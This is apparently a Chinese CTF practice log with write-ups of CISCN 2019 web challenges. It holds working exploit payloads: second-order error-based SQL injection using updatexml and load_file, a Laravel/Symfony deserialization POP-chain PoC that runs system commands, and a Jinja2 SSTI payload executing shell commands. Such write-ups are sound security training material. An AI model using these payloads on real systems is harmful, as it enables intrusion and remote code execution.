刷题记录
[CISCN2019 华东南赛区]Web11 知识点:
关于Smarty SSTI可以看这篇文章
https://zhuanlan.zhihu.com/p/91595921
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 看前端源码的注释
怀疑有文件包含,伪协议直接读文件内容,成功
index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set('open_basedir' , '/var/www/html/' ); $file = (isset ($_GET['file' ]) ? $_GET['file' ] : null ); if (isset ($file)){ if (preg_match("/phar|zip|bzip2|zlib|data|input|/i" ,$file)) { echo ('no way!' ); exit ; } @include ($file); } ?>
change.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once "config.php" ;if (!empty ($_POST["user_name" ]) && !empty ($_POST["address" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $address = addslashes($_POST["address" ]); $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='" .$address."', `old_address`='" .$row['address' ]."' where `user_id`=" .$row['user_id' ]; $result = $db->query($sql); if (!$result) { echo 'error' ; print_r($db->error); exit ; } $msg = "订åä¿®æ¹æå" ; } else { $msg = "æªæ¾å°è®¢å!" ; } }else { $msg = "ä¿¡æ¯ä¸å
¨" ; } ?>
search.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 require_once "config.php" ; if (!empty ($_POST["user_name" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); if (!$row) { echo 'error' ; print_r($db->error); exit ; } $msg = "<p>å§å:" .$row['user_name' ]."</p><p>, çµè¯:" .$row['phone' ]."</p><p>, å°å:" .$row['address' ]."</p>" ; } else { $msg = "æªæ¾å°è®¢å!" ; } }else { $msg = "ä¿¡æ¯ä¸å
¨" ; } ?>
这道题奇怪的点在于,对user_name和phone都进行了很好的过滤,但是对address却只有一层转义
那么这个address就可以用来注入了
这里虽然被转义了,但是从代码中可以看到,修改后之前的地址也会保存下来,那么如果写入payload,那么在第二次修改的时候就可以出发报错注入。
payload;
1’ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,20)),0x7e),1)#
1’ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),20,50)),0x7e),1)#
这里读表读了半天没有flag,看了大佬博客才知道要load_file
[CISCN2019 总决赛 Day1 Web4]Laravel1 知识点:
单纯的反序列化,就是项目挺大,找POP链还是不太容易
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace App \Http \Controllers ;class IndexController extends Controller { public function index (\Illuminate\Http\Request $request ) { $payload=$request->input("payload" ); if (empty ($payload)){ highlight_file(__FILE__ ); }else { @unserialize($payload); } } }
用Seay工具全局搜索__destuct()
,需要找到一个有可变参数的__destuct()
,最终在TagAwareAdapter
类中找到
跟进commit
函数
再跟进invalidateTags([])
其他都很正常,但是$this->pool->saveDeferred($item)
这里,调用了外部类的方法,搜索一下$this->pool。
可以看到这个类需要实现AdapterInterface
接口,我们直接全局搜索saveDeferred
函数,然后通过是否有AdapterInterface
接口来进行排除,就剩下不多了,在通过有无利用点,确定了ProxyAdapter
这个类,在这个类中找saveDeferred
然后跟进doSave
我们会惊奇的发现,这里是可以利用的。要利用的话就要保证setInnerItem和innerItem
可控,setInnerItem
就在类中,innerItem
通过下面这个语句可以发现,我们需要给到一个有innerItem
参数的类
继续全局搜索innerItem
,然后确定了CacheItem
类
接下来的事情就简单了,构造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php namespace Symfony \Component \Cache ;class CacheItem { protected $innerItem = 'cat /flag' ; } namespace Symfony \Component \Cache \Adapter ;class ProxyAdapter { private $setInnerItem = 'system' ; } class TagAwareAdapter { public $deferred; public function __construct ( ) { $this ->pool = new ProxyAdapter(); } } $a = new TagAwareAdapter(); $a -> deferred = array ('hack' => new \Symfony\Component\Cache\CacheItem); echo urlencode(serialize($a));
然后发送payload就可以getflag
[CISCN2019 华东南赛区]Double Secret 知识点:
根据这里猜测有secret
页面
果然,然后传参,没试出什么规律,然后乱打一通打出了报错
然后找到了加密的源码
1 2 3 4 5 6 7 8 9 10 11 if (secret==None ): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure" ) deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a Open an interactive python shell in this frame
没想到还挺简单的,就是个RC4加密,密钥就是HereIsTreasure
找个脚本
然后看到这里有个render_template_string
,看不懂,但是有个template,觉得应该是跟模板有关,用SSTI的payload加密一下传上去
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import base64from urllib import parsedef rc4_main (key = "init_key" , message = "init_message" ): s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox (key ): s_box = list(range(256 )) j = 0 for i in range(256 ): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box ): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "" .join(res) return (str(base64.b64encode(cipher.encode('utf-8' )), 'utf-8' )) key = "HereIsTreasure" message = input("请输入明文:\n" ) enc_base64 = rc4_main( key , message ) enc_init = str(base64.b64decode(enc_base64),'utf-8' ) enc_url = parse.quote(enc_init) print("rc4加密后的url编码:" +enc_url)
payload:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval("__import__('os').popen('cat /flag.txt').read()" )}}{% endif %}{% endfor %}